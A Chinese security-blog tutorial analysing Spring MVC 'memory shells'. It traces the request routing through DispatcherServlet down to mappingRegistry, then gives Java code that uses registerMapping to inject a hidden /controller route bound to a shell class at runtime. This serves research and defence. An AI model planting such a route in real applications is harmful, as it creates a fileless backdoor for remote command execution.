freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Spring内存马分析
2022-04-06 16:45:48
所属地 四川省

前言

此文旨在简单记录Spring内存马分析过程,在Spring框架里可作为内存马的有Controller和Interceptor,本文主要讲解Controller。

前置知识

开始前简单提及一些关于Spring框架的知识:

IOC容器

IOC容器是具有依赖注入功能的容器,负责实例化、定位、配置应用程序中的对象及建立这些对象间的依赖。应用程序无需直接在代码中new相关的对象,应用程序由IOC容器进行组装,在Spring中BeanFactory是IOC容器的实际代表者。

依赖注入

把有依赖关系的类放到容器中,解析出这些类的实例,就是依赖注入,其目的是为了实现类的解耦。

Bean

Bean是Spring框架的一个核心概念,它是构成应用程序的主干,并且是由Spring IOC容器负责实例化、配置、组装和管理的对象。简言之Bean就是对象,并由IOC容器进行统一管理,而Spring应用主要就是由一个个的 Bean构成的。

环境搭建

首先创建一个maven的web项目,在pom文件里面加入如下配置:

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.3.RELEASE</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<!-- 添加servlet -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.60</version>
</dependency>

然后再配置web.xml,加入DispatcherServlet相关配置。

DispatcherServlet的主要作用是处理传入的web请求,根据配置的URL pattern,将请求分发给正确的Controller和View。

<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>

然后在resources添加一个springmvc.xml文件,主要配置内容如下:

<!--配置注解机制-->
<mvc:annotation-driven/>

<!-- 配置⾃动扫描 -->
<context:component-scan base-package="cn.safe6.controller"/>

<!-- 视图解析器 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<!-- 前缀 -->
<property name="prefix" value="/WEB-INF/"></property>
<!-- 后缀 -->
<property name="suffix" value=".jsp"></property>
</bean>

最后在WEB-INF下随便加个jsp,写个Controller之后就可以直接把项目跑起来:

当访问index时,就返回index,然后前面配置的视图解析器就会到WEB-INF下去找对应的jsp文件。此时如果能看到输出hello world就说明环境搭建成功了。

原理分析

这里主要如有两种思路去分析:

  • 通过DispatcherServlet入手:在前面说过,DispatcherServlet主要作用是处理web请求,我们只需要搞清楚其中的原理即可实现内存马;

  • 通过分析具有路由功能的注解底层原理:熟悉springmvc或者springboot的可能会比较熟悉这些注解@RequestMapping、@Controller、@GetMapping。

下面我就用第一种方法进行分析:

首先在之前创建的Controller上打个断点:

然后向上回溯到DispatcherServlet。

首先我们通过前面前置知识了解到DispatcherServlet的主要作用是处理传入的web请求。

从下图可以看出进入DispatcherServlet的方法是doService,随后就把request,response传进doDispatch:

进入doDispatch后,会调用HandlerAdapter#handle方法处理传进来的request,response。

但是传入参数中多了一个Handler,这个Handler是干什么用的?

抱着这个疑问,再来看doDispatch的代码逻辑。跟进去之后发现Handler是用getHandler方法获取到的:

继续跟进,发现里面有个handlerMappings。随后会对handlerMappings进行遍历,再把request传进去取出对应的HandlerExecutionChain返回:

继续在此处打个断点,跟一下Handler是怎么获取的:

进来后发现又进入了getHandlerInternal,继续跟进:

进来后,发现会解析当前请求的路由,还会给mappingRegistry加锁:

简单看一下mappingRegistry,发现里面存的是路由信息,可以留意下这个对象:

继续往下走,进入了lookupHandlerMethod方法,发现确实是从mappingRegistry里面获取的路由,那么就可以对它下手了:

即现在只需知道,怎么往mappingRegistry添加路由就可执行内存马;先从这个方法里找下有没有相关方法,发现有个registerMapping,它的作用就是往mappingRegistry里面注册路由。

此时我们的目标就变成了,怎么获取到AbstractHandlerMethodMapping的实例。

由于当前这个类是抽象的、是不可能有实例的。继续看一下它的子类,发现了RequestMappingHandlerMapping可用,接下来就是实现内存马添加。

代码实现

Spring的内存马和tomcat的开始步骤都一样,就是获取上下文对象,只不过Spring获取的是spring上下文对象。

第一步:用工具类获取到上下文;

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

第二步:从ioc容器里面拿到RequestMappingHandlerMapping的实例对象;

RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);

第三步:注册内存马,这里需要构造下registerMapping方法需要的参数,下图注入的路由是/Controller。

RequestMappingInfo requestMappingInfo = new RequestMappingInfo(new PatternsRequestCondition("/controller"),null,null,null,null,null,null);
Class shell = Class.forName("cn.safe6.controller.ShellController");
Method method = shell.getMethod("exec");

handlerMapping.registerMapping(requestMappingInfo,shell.newInstance(),method);

注入的shell如下:

最后创建一个方法,模拟内存马注入:

看下效果:

References

# Spring # JAVA安全 # 内存马
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者